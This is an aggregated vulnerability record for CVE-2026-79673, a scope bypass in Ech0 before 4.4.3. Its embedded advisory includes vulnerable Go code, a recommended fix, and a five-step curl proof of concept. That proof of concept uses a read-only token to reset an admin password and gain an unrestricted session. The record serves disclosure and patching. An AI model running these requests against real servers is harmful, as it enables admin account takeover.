{"id":"CVE-2026-79673","aliases":["EUVD-2026-65441","GHSA-6h3p-88p7-m8gp","GHSA-hm2h-wwwh-g49x","GO-2026-5431"],"status":"published","title":"Ech0 before 4.4.3 Scope Bypass via profile:read Token","description":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.","severity":{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.00427,"percentile":0.37193,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-863"],"published":"2026-04-10T19:49:13Z","modified":"2026-10-28T02:30:24Z","fixes":[{"ecosystem":"Go","package":"github.com/lin-snow/ech0","fixed_in":["4.4.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.4.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.4.3"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"lin-snow","product":"ech0"}],"references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-hm2h-wwwh-g49x","tags":["vendor-advisory","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/ech0-before-scope-bypass-via-profile-read-token","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79673","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6h3p-88p7-m8gp"},{"url":"https://github.com/lin-snow/Ech0/releases/tag/v4.4.3","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hm2h-wwwh-g49x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79673.json","tags":["advisory"]},{"url":"https://github.com/lin-snow/Ech0","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79673","title":"Ech0 before 4.4.3 Scope Bypass via profile:read Token","description":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.","status":"published","published":"2026-08-25T11:33:33.528Z","modified":"2026-08-26T16:11:39.207Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T13:50:38.739766Z"}],"euvd":[{"id":"EUVD-2026-65441","description":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.","status":"published","published":"2026-08-25T11:33:33Z","modified":"2026-08-26T16:11:39Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:30.542287Z"}],"ghsa":[{"id":"GHSA-6h3p-88p7-m8gp","title":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope,...","description":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.","status":"published","published":"2026-08-25T12:31:28Z","modified":"2026-08-25T12:31:34Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:10:56.831918Z"},{"id":"GHSA-hm2h-wwwh-g49x","title":"Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session","description":"## Summary\n\nThe `PUT /user` endpoint is protected by `RequireScopes(\"profile:read\")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.\n\n## Details\n\nThe scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`:\n\n```go\n// internal/router/user.go:40-44\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileRead),\n    h.UserHandler.UpdateUser(),\n)\n```\n\nThe `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:\n\n```go\n// internal/middleware/scope.go:14-19\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        v := viewer.MustFromContext(ctx.Request.Context())\n        if v.TokenType() == authModel.TokenTypeSession {\n            ctx.Next()\n            return\n        }\n        // ... checks access token has required scopes (line 53)\n```\n\nThe `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations:\n\n```go\n// internal/service/user/user.go:271-300\nfunc (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {\n    userid := viewer.MustFromContext(ctx).UserID()\n    user, err := userService.userRepository.GetUserByID(ctx, userid)\n    // ...\n    if !user.IsAdmin {\n        return errors.New(commonModel.NO_PERMISSION_DENIED)\n    }\n    // ...\n    if userdto.Password != \"\" \u0026\u0026 cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {\n        user.Password = cryptoUtil.MD5Encrypt(userdto.Password)  // line 299\n    }\n```\n\nAfter the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: \"session\"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access.\n\n**Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc.\n\n## PoC\n\n```bash\n# Prerequisites: Admin has created a profile:read access token for a read-only integration\n# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)\n\nACCESS_TOKEN=\"\u003cadmin_profile_read_access_token\u003e\"\nSERVER=\"http://localhost:8080\"\n\n# Step 1: Verify the token only has profile:read scope (can read profile)\ncurl -s -X GET \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 200 OK with user profile data\n\n# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 403 Forbidden (requires admin:user scope)\n\n# Step 3: Change the admin's password using the profile:read token\ncurl -s -X PUT \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"password\":\"attackerpass123\"}'\n# Expected: 200 OK — password changed despite only having profile:read scope\n\n# Step 4: Login with the new password to get an unrestricted session token\ncurl -s -X POST \"$SERVER/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"password\":\"attackerpass123\"}'\n# Expected: 200 OK with session JWT token\n\n# Step 5: Use the session token to access admin-only endpoints\nSESSION_TOKEN=\"\u003csession_token_from_step_4\u003e\"\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $SESSION_TOKEN\"\n# Expected: 200 OK — full admin access, all scope restrictions bypassed\n```\n\n## Impact\n\nAn attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can:\n\n1. **Change the admin's password** without any write-level scope, violating the principle of least privilege\n2. **Escalate to a full unrestricted session token** by logging in with the new credentials\n3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations\n4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available)\n\nThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.\n\n## Recommended Fix\n\nAdd a `profile:write` scope and require it for the `PUT /user` endpoint:\n\n```go\n// internal/model/auth/scope.go — add new scope\nconst (\n    // ... existing scopes ...\n    ScopeProfileRead    = \"profile:read\"\n    ScopeProfileWrite   = \"profile:write\"  // NEW\n)\n\nvar validScopes = map[string]struct{}{\n    // ... existing entries ...\n    ScopeProfileWrite:  {},  // NEW\n}\n```\n\n```go\n// internal/router/user.go:40-44 — require profile:write for PUT\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileWrite),  // Changed from ScopeProfileRead\n    h.UserHandler.UpdateUser(),\n)\n```\n\nSimilarly, update other write operations currently gated behind `profile:read`:\n- `POST /oauth/:provider/bind` → require `profile:write`\n- `POST /passkey/register/begin` and `/finish` → require `profile:write`\n- `DELETE /passkeys/:id` → require `profile:write`\n- `PUT /passkeys/:id` → require `profile:write`","status":"published","published":"2026-04-10T19:49:13Z","modified":"2026-04-10T19:49:15Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:39:53.087746Z"}],"nvd":[{"id":"CVE-2026-79673","description":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.","status":"published","published":"2026-08-25T12:16:35.68Z","modified":"2026-08-31T20:38:54.34Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T14:12:41.347728Z"}],"osv":[{"id":"CVE-2026-79673","title":"Ech0 before 4.4.3 Scope Bypass via profile:read Token","description":"Ech0 before 4.4.3 protects the PUT /user endpoint with the profile:read scope, a read-only scope, but allows write operations including password changes. An attacker with an admin's profile:read access token can change the admin's password and login to obtain an unrestricted session token that bypasses all scope enforcement.","status":"published","published":"2026-08-25T11:33:33.528Z","modified":"2026-10-28T02:30:24.369255784Z","cvss":[{"version":"4.0","score":8.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-hm2h-wwwh-g49x","title":"Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session","description":"## Summary\n\nThe `PUT /user` endpoint is protected by `RequireScopes(\"profile:read\")`, which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted `profile:read` access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.\n\n## Details\n\nThe scope enforcement system defines granular scopes (e.g., `echo:read`, `echo:write`, `admin:user`) but has no `profile:write` scope. The `PUT /user` route is protected only by `profile:read`:\n\n```go\n// internal/router/user.go:40-44\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileRead),\n    h.UserHandler.UpdateUser(),\n)\n```\n\nThe `RequireScopes` middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:\n\n```go\n// internal/middleware/scope.go:14-19\nfunc RequireScopes(scopes ...string) gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        v := viewer.MustFromContext(ctx.Request.Context())\n        if v.TokenType() == authModel.TokenTypeSession {\n            ctx.Next()\n            return\n        }\n        // ... checks access token has required scopes (line 53)\n```\n\nThe `UpdateUser` service checks `user.IsAdmin` but does not verify the token's scope is sufficient for write operations:\n\n```go\n// internal/service/user/user.go:271-300\nfunc (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {\n    userid := viewer.MustFromContext(ctx).UserID()\n    user, err := userService.userRepository.GetUserByID(ctx, userid)\n    // ...\n    if !user.IsAdmin {\n        return errors.New(commonModel.NO_PERMISSION_DENIED)\n    }\n    // ...\n    if userdto.Password != \"\" \u0026\u0026 cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {\n        user.Password = cryptoUtil.MD5Encrypt(userdto.Password)  // line 299\n    }\n```\n\nAfter the password is changed, the attacker logs in via `POST /login` which calls `issueUserToken` → `CreateClaims`, producing a session token with `Type: \"session\"` (jwt.go:33). Session tokens bypass `RequireScopes` entirely, granting unrestricted API access.\n\n**Escalation chain:** `profile:read` access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including `admin:settings`, `admin:user`, `admin:token`, `file:write`, etc.\n\n## PoC\n\n```bash\n# Prerequisites: Admin has created a profile:read access token for a read-only integration\n# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)\n\nACCESS_TOKEN=\"\u003cadmin_profile_read_access_token\u003e\"\nSERVER=\"http://localhost:8080\"\n\n# Step 1: Verify the token only has profile:read scope (can read profile)\ncurl -s -X GET \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 200 OK with user profile data\n\n# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\"\n# Expected: 403 Forbidden (requires admin:user scope)\n\n# Step 3: Change the admin's password using the profile:read token\ncurl -s -X PUT \"$SERVER/api/user\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"password\":\"attackerpass123\"}'\n# Expected: 200 OK — password changed despite only having profile:read scope\n\n# Step 4: Login with the new password to get an unrestricted session token\ncurl -s -X POST \"$SERVER/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"admin\",\"password\":\"attackerpass123\"}'\n# Expected: 200 OK with session JWT token\n\n# Step 5: Use the session token to access admin-only endpoints\nSESSION_TOKEN=\"\u003csession_token_from_step_4\u003e\"\ncurl -s -X GET \"$SERVER/api/allusers\" \\\n  -H \"Authorization: Bearer $SESSION_TOKEN\"\n# Expected: 200 OK — full admin access, all scope restrictions bypassed\n```\n\n## Impact\n\nAn attacker who obtains an admin's `profile:read` access token — intended to be the most restrictive scope available — can:\n\n1. **Change the admin's password** without any write-level scope, violating the principle of least privilege\n2. **Escalate to a full unrestricted session token** by logging in with the new credentials\n3. **Gain complete admin access** including user management (`admin:user`), system settings (`admin:settings`), token management (`admin:token`), file operations (`file:write`), and all content operations\n4. **Lock the original admin out** of password-based authentication (though OAuth/passkey login remains available)\n\nThis defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.\n\n## Recommended Fix\n\nAdd a `profile:write` scope and require it for the `PUT /user` endpoint:\n\n```go\n// internal/model/auth/scope.go — add new scope\nconst (\n    // ... existing scopes ...\n    ScopeProfileRead    = \"profile:read\"\n    ScopeProfileWrite   = \"profile:write\"  // NEW\n)\n\nvar validScopes = map[string]struct{}{\n    // ... existing entries ...\n    ScopeProfileWrite:  {},  // NEW\n}\n```\n\n```go\n// internal/router/user.go:40-44 — require profile:write for PUT\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/user\",\n    middleware.RequireScopes(authModel.ScopeProfileWrite),  // Changed from ScopeProfileRead\n    h.UserHandler.UpdateUser(),\n)\n```\n\nSimilarly, update other write operations currently gated behind `profile:read`:\n- `POST /oauth/:provider/bind` → require `profile:write`\n- `POST /passkey/register/begin` and `/finish` → require `profile:write`\n- `DELETE /passkeys/:id` → require `profile:write`\n- `PUT /passkeys/:id` → require `profile:write`","status":"published","published":"2026-04-10T19:49:13Z","modified":"2026-08-27T04:10:37.976781942Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N","level":"medium"}],"cwes":["CWE-863"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"GO-2026-5431","title":"Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0","description":"Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session in github.com/lin-snow/ech0.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.","status":"published","published":"2026-06-25T22:34:31Z","modified":"2026-08-27T04:10:37.976781942Z","updated_at":"2026-11-02T15:47:02.556545Z"}]}}
